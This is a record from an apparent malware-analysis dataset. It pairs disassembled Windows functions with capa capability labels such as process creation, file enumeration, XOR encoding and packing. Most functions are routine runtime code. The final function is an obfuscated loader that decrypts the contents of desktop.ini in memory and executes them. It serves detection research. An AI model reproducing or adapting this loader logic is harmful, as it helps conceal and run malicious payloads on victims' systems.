joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100036c9
Capabilities:
Create process on windows
Create process suspended

Disassembly:
mov eax, 0x1000fcc8
call fcn.1000efb8
sub esp, 0x64
push ebx
push esi
xor ebx, ebx
push edi
mov dword [ebp - 0x14], ebx
push 0x20019
push str.SoftwareBearShareGeneral
push SysReAllocString
lea eax, [ebp - 0x14]
mov dword [ebp - 4], ebx
call fcn.100016ac
test eax, eax
jne 0x100037f6
push 0x100131f8
lea eax, [ebp - 0x14]
push eax
lea esi, [ebp - 0x18]
xor edi, edi
mov dword [ebp - 0x18], ebx
call fcn.10007cc4
test eax, eax
jne 0x100037f6
mov eax, dword [ebp - 0x18]
add eax, eax
push eax
call fcn.1000923f
mov edi, eax
mov dword [ebp - 0x1c], edi
mov byte [ebp - 4], 1
lea eax, [ebp - 0x14]
mov dword [esp], 0x100131f8
push eax
call fcn.10007cc4
test eax, eax
jne 0x100037ea
push edi
lea eax, [ebp - 0x18]
push eax
call fcn.100089bc
push 0x100131f4
lea eax, [ebp - 0x18]
push eax
mov byte [ebp - 4], 2
call fcn.10007c50
push str.BearShare.exe
lea eax, [ebp - 0x18]
push eax
call fcn.10007c50
push 0x10
pop ecx
xor eax, eax
lea edi, [ebp - 0x6c]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x2c], ebx
lea edi, [ebp - 0x28]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x70]
push eax
push dword [ebp - 0x1c]
mov dword [ebp - 0x70], 0x44
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push dword [ebp - 0x2c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, eax
call esi
push dword [ebp - 0x28]
call esi
mov eax, dword [ebp - 0x18]
cmp edi, ebx
setne byte [ebp - 0xd]
add eax, 0xfffffff0
call fcn.100068c3
mov byte [ebp - 4], bl
push dword [ebp - 0x1c]
call fcn.1000923a
cmp dword [ebp - 0x14], ebx
pop ecx
je 0x100037e5
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, byte [ebp - 0xd]
jmp 0x10003806
mov byte [ebp - 4], bl
push dword [ebp - 0x1c]
call fcn.1000923a
pop ecx
cmp dword [ebp - 0x14], ebx
je 0x10003804
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x100038c4
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [eax]
mov ecx, dword [eax - 0xc]
push ebx
xor ebx, ebx
cmp ecx, ebx
jne 0x100038da
xor al, al
jmp 0x10003919
push ebx
lea edx, [ebp - 8]
push edx
add ecx, ecx
push ecx
push eax
push dword [esi + 0xa4]
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [esi + 0xa4]
mov byte [ebp - 1], bl
mov dword [ebp - 0xc], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, esi
call fcn.100038a8
mov al, byte [ebp - 1]
pop ebx
leave
ret
Function at 0x10004aa7
Capabilities:
Hide graphical window

Disassembly:
push esi
mov esi, eax
lea eax, [esi - 8]
neg esi
sbb esi, esi
and esi, eax
lea eax, [esi + 0x14]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x18]
mov esi, dword [esi + 0x78]
test esi, esi
je 0x10004acc
push 0
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
pop esi
ret

Function at 0x10007cc4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [esi]
and dword [esi], 0
shl eax, 1
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push edi
lea eax, [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push 0
push dword [ebp + 0xc]
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10007d1d
cmp dword [ebp + 0xc], 1
je 0x10007cfb
cmp dword [ebp + 0xc], 2
jne 0x10007d12
test edi, edi
mov eax, dword [ebp - 4]
je 0x10007d17
test al, 1
jne 0x10007d12
mov ecx, eax
shr ecx, 1
cmp word [edi + ecx*2 - 2], 0
je 0x10007d17
push 0xd
pop eax
jmp 0x10007d1d
shr eax, 1
mov dword [esi], eax
xor eax, eax
leave
ret 8

Function at 0x10008ac2
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
push dword [esp + 0xc]
mov esi, eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x10008ad9
pop esi
ret
push edi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x10008aeb
xor eax, eax
jmp 0x10008b1c
push dword [esp + 0x10]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
add eax, edi
and esi, 0xf
jbe 0x10008b0e
cmp edi, eax
jae 0x10008ae7
dec esi
movzx ecx, word [edi]
lea edi, [edi + ecx*2 + 2]
jne 0x10008b00
cmp edi, eax
jae 0x10008ae7
mov ax, word [edi]
neg ax
sbb eax, eax
and eax, edi
pop edi
pop esi
ret
Function at 0x10009c58
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
push 4
pop eax
call fcn.1000bbf0
mov esi, esp
push 0x1c
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x10009cf3
mov ebx, dword [ebp - 0x24]
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x48]
mov eax, dword [0x10016b58]
lea edi, [ecx - 1]
not edi
and edi, esi
sub edi, ecx
mov esi, eax
dec esi
neg esi
sbb esi, esi
and esi, 0xfffffff1
add esi, 0x11
imul esi, ecx
add esi, ebx
cmp edi, esi
mov dword [ebp - 8], ecx
jb 0x10009cf3
cmp eax, 1
je 0x10009d14
mov dword [ebp - 4], ebx
mov ebx, 0x1000
push 0x1c
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x10009cf3
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
test dword [ebp - 0x18], ebx
je 0x10009cc0
test byte [ebp - 0x13], 1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
je 0x10009cef
xor eax, eax
inc eax
jmp 0x10009d33
cmp edi, eax
jae 0x10009cf7
xor eax, eax
jmp 0x10009d33
cmp eax, esi
jae 0x10009cfe
mov dword [ebp - 4], esi
push 4
push ebx
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [0x10016b58]
jmp 0x10009d17
mov dword [ebp - 4], edi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 0xc]
push ecx
inc eax
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x58]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10009de8
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
cmp eax, 1
push esi
jne 0x10009ed8
mov eax, 0x94
call fcn.1000bbf0
mov esi, esp
push esi
mov dword [esi], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x10009f4d
mov ecx, dword [esi + 0x10]
mov dword [0x10016b58], ecx
mov eax, dword [esi + 4]
mov dword [0x10016b64], eax
mov edx, dword [esi + 8]
mov dword [0x10016b68], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
cmp ecx, 2
mov dword [0x10016b5c], esi
je 0x10009e53
or esi, 0x8000
mov dword [0x10016b5c], esi
shl eax, 8
add eax, edx
push 1
mov dword [0x10016b60], eax
call fcn.1000a5ae
test eax, eax
pop ecx
je 0x10009f4d
call fcn.1000baf5
test eax, eax
jne 0x10009e80
call fcn.1000a5ff
jmp 0x10009f4d
call fcn.1000c408
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x100174d8], eax
call fcn.1000c2e6
mov dword [0x10016b44], eax
call fcn.1000bdc7
test eax, eax
jl 0x10009ed1
call fcn.1000c244
test eax, eax
jl 0x10009ecc
call fcn.1000c011
test eax, eax
jl 0x10009ecc
push 0
call fcn.1000a0da
test eax, eax
pop ecx
jne 0x10009ecc
inc dword [0x10016b40]
jmp 0x10009f5e
call fcn.1000bfc5
call fcn.1000b8de
jmp 0x10009e76
test eax, eax
jne 0x10009f08
cmp dword [0x10016b40], eax
jle 0x10009f4d
dec dword [0x10016b40]
cmp dword [0x10016b94], eax
jne 0x10009ef7
call fcn.1000a218
call fcn.1000bfc5
call fcn.1000b8de
call fcn.1000a5ff
jmp 0x10009f5e
cmp eax, 2
jne 0x10009f51
push 0x8c
push 1
call fcn.1000bcf0
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x10009f4d
push esi
push dword [0x10016334]
call dword [0x10016d10]
test eax, eax
push esi
je 0x10009f47
call fcn.1000b8fb
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
or dword [esi + 4], 0xffffffff
mov dword [esi], eax
jmp 0x10009f5e
call fcn.10009167
pop ecx
xor eax, eax
jmp 0x10009f61
cmp eax, 3
jne 0x10009f5e
push 0
call fcn.1000bac6
pop ecx
xor eax, eax
inc eax
lea esp, [ebp - 4]
pop esi
pop ebp
ret 0xc

Function at 0x1000a144
Capabilities:
Terminate process

Disassembly:
push 8
push 0x10011410
call fcn.1000a2a0
push 8
call fcn.1000a548
pop ecx
xor edi, edi
mov dword [ebp - 4], edi
xor esi, esi
inc esi
cmp dword [0x10016b98], esi
jne 0x1000a178
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [0x10016b94], esi
mov al, byte [ebp + 0x10]
mov byte [0x10016b90], al
cmp dword [ebp + 0xc], edi
jne 0x1000a1c2
cmp dword [0x100174cc], edi
je 0x1000a1b2
mov eax, dword [0x100174c8]
sub eax, 4
mov dword [0x100174c8], eax
cmp eax, dword [0x100174cc]
jb 0x1000a1b2
mov eax, dword [eax]
cmp eax, edi
je 0x1000a193
call eax
jmp 0x1000a193
push 0x1001603c
mov eax, 0x10016038
call fcn.1000a0c2
pop ecx
push 0x10016048
mov eax, 0x10016040
call fcn.1000a0c2
pop ecx
or dword [ebp - 4], 0xffffffff
call 0x1000a1f3
cmp dword [ebp + 0x10], edi
jne 0x1000a201
mov dword [0x10016b98], esi
push dword [ebp + 8]
call fcn.1000a080
xor edi, edi
xor esi, esi
inc esi
cmp dword [ebp + 0x10], edi
je 0x1000a200
push 8
call fcn.1000a493
pop ecx
ret
call fcn.1000a2db
ret
Function at 0x1000c60f
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x90]
sub esp, 0x110
mov eax, dword [0x10016710]
mov ecx, dword [ebp + 0x98]
push ebx
xor eax, ebp
push esi
mov dword [ebp + 0x8c], eax
xor edx, edx
push edi
xor eax, eax
cmp ecx, dword [eax*8 + 0x100163f0]
je 0x1000c646
inc eax
cmp eax, 0x13
jb 0x1000c637
mov esi, eax
shl esi, 3
cmp ecx, dword [esi + 0x100163f0]
jne 0x1000c769
mov eax, dword [0x10016b4c]
cmp eax, 1
je 0x1000c744
cmp eax, edx
jne 0x1000c676
cmp dword [0x10016b50], 1
je 0x1000c744
cmp ecx, 0xfc
je 0x1000c769
push 0x104
lea eax, [ebp - 0x7c]
push eax
push edx
mov byte [ebp + 0x88], dl
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1000c6ac
lea eax, [ebp - 0x7c]
push str._program_name_unknown_
push eax
call fcn.1000d3b0
pop ecx
pop ecx
lea edi, [ebp - 0x7c]
mov eax, edi
push eax
call fcn.1000d500
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x1000c6e0
mov eax, edi
push eax
call fcn.1000d500
mov edi, eax
lea eax, [ebp - 0x7c]
sub eax, 0x3b
push 3
add edi, eax
push 0x10011a78
push edi
call fcn.1000cda0
add esp, 0x10
push edi
call fcn.1000d500
push dword [esi + 0x100163f4]
mov ebx, eax
call fcn.1000d500
lea eax, [ebx + eax + 0x1c]
pop ecx
add eax, 3
pop ecx
and eax, 0xfffffffc
call fcn.1000bbf0
mov ebx, esp
push str.Runtime_Error__n_nProgram:
push ebx
call fcn.1000d3b0
push edi
push ebx
call fcn.1000d3c0
push 0x10011a58
push ebx
call fcn.1000d3c0
push dword [esi + 0x100163f4]
push ebx
call fcn.1000d3c0
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebx
call fcn.1000dd1d
add esp, 0x2c
jmp 0x1000c769
push edx
lea eax, [ebp - 0x80]
push eax
lea esi, [esi + 0x100163f4]
push dword [esi]
call fcn.1000d500
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea esp, [ebp - 0x8c]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x8c]
xor ecx, ebp
call fcn.1000d5bc
add ebp, 0x90
leave
ret
Function at 0x1000dd1d
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [0x10016ef8], ebx
push esi
push edi
jne 0x1000dd9d
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x1000ddd8
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
mov dword [0x10016ef8], eax
je 0x1000ddd8
push str.GetActiveWindow
push edi
call esi
push str.GetLastActivePopup
push edi
mov dword [0x10016efc], eax
call esi
cmp dword [0x10016b58], 2
mov dword [0x10016f00], eax
jne 0x1000dd9d
push str.GetUserObjectInformationA
push edi
call esi
test eax, eax
mov dword [0x10016f08], eax
je 0x1000dd9d
push str.GetProcessWindowStation
push edi
call esi
mov dword [0x10016f04], eax
mov eax, dword [0x10016f04]
test eax, eax
je 0x1000dde2
call eax
test eax, eax
je 0x1000ddc9
lea ecx, [ebp - 4]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [0x10016f08]
test eax, eax
je 0x1000ddc9
test byte [ebp - 8], 1
jne 0x1000dde2
cmp dword [0x10016b64], 4
jb 0x1000dddc
or byte [ebp + 0x12], 0x20
jmp 0x1000de01
xor eax, eax
jmp 0x1000de11
or byte [ebp + 0x12], 4
jmp 0x1000de01
mov eax, dword [0x10016efc]
test eax, eax
je 0x1000de01
call eax
mov ebx, eax
test ebx, ebx
je 0x1000de01
mov eax, dword [0x10016f00]
test eax, eax
je 0x1000de01
push ebx
call eax
mov ebx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [0x10016ef8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000e9c2
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x10016710]
xor eax, ebp
push esi
mov dword [ebp + 0x74], eax
mov esi, ecx
call fcn.1000e944
mov eax, 0x10000000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.10009250
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x1000ea26
cmp dword [ebp - 0x1c], 5
jb 0x1000ea3e
jmp 0x1000ea3a
cmp dword [ebp - 0x10], 1
jne 0x1000ea3e
cmp dword [ebp - 0x1c], 4
ja 0x1000ea3a
jne 0x1000ea3e
cmp dword [ebp - 0x18], 0
jbe 0x1000ea3e
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x710
mov dword [esi + 0x14], 0x100123fc
call fcn.10001a95
test eax, eax
jge 0x1000ea5f
mov byte [0x10017100], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.1000d5bc
add ebp, 0x78
leave
ret
Function at 0x41f993
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x41f9d2
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41f9d2
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41f9d2
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x41f9d2
cmp dword [ecx + 0x74], 0xe
jbe 0x41f9d2
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x432150
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x43217d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x43217d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x432005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43200c
nop
nop
pop eax
nop
nop
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x432030
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43201e
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x40184f
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40188e
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40188e
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40188e
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40188e
cmp dword [ecx + 0x74], 0xe
jbe 0x40188e
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x406109
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x406154
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.00406326
test al, al
jne 0x40614e
sub edx, 2
cmp edx, edi
jne 0x406134
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x406176
lea eax, [edi + 2]
cmp edx, eax
je 0x406176
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.00406055
add esp, 0x10
jmp 0x406270
push esi
lea ecx, [ebp - 0x255]
call fcn.00406326
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4061b9
push dword [ebp - 0x25c]
jmp 0x406166
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x4061f6
cmp word [ebp - 0x226], 0
je 0x406217
cmp word [ebp - 0x226], ax
jne 0x4061f6
cmp word [ebp - 0x224], 0
je 0x406217
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.00406055
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x406263
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x4061d0
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x40624b
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x406270
push 0x405e85
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.00408ed0
add esp, 0x10
jmp 0x406240
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401019
leave
ret

Function at 0x407da3
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x40efac
push 0x40efa4
push str.FlsAlloc
push 0x1f
call fcn.00407cde
mov esi, eax
add esp, 0x10
test esi, esi
je 0x407dd7
push dword [ebp + 8]
mov ecx, esi
call dword [0x40d10c]
call esi
jmp 0x407ddd
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4
Function at 0x407e21
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x40efbc
push 0x40efb4
push str.FlsGetValue
push 0x21
call fcn.00407cde
mov esi, eax
add esp, 0x10
test esi, esi
je 0x407e58
push dword [ebp + 8]
mov ecx, esi
call dword [0x40d10c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x407e60
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x40efc4
push 0x40efbc
push str.FlsSetValue
push 0x22
call fcn.00407cde
mov esi, eax
add esp, 0x10
test esi, esi
je 0x407e9a
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x40d10c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x40cbf0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40cc1d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40cc1d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10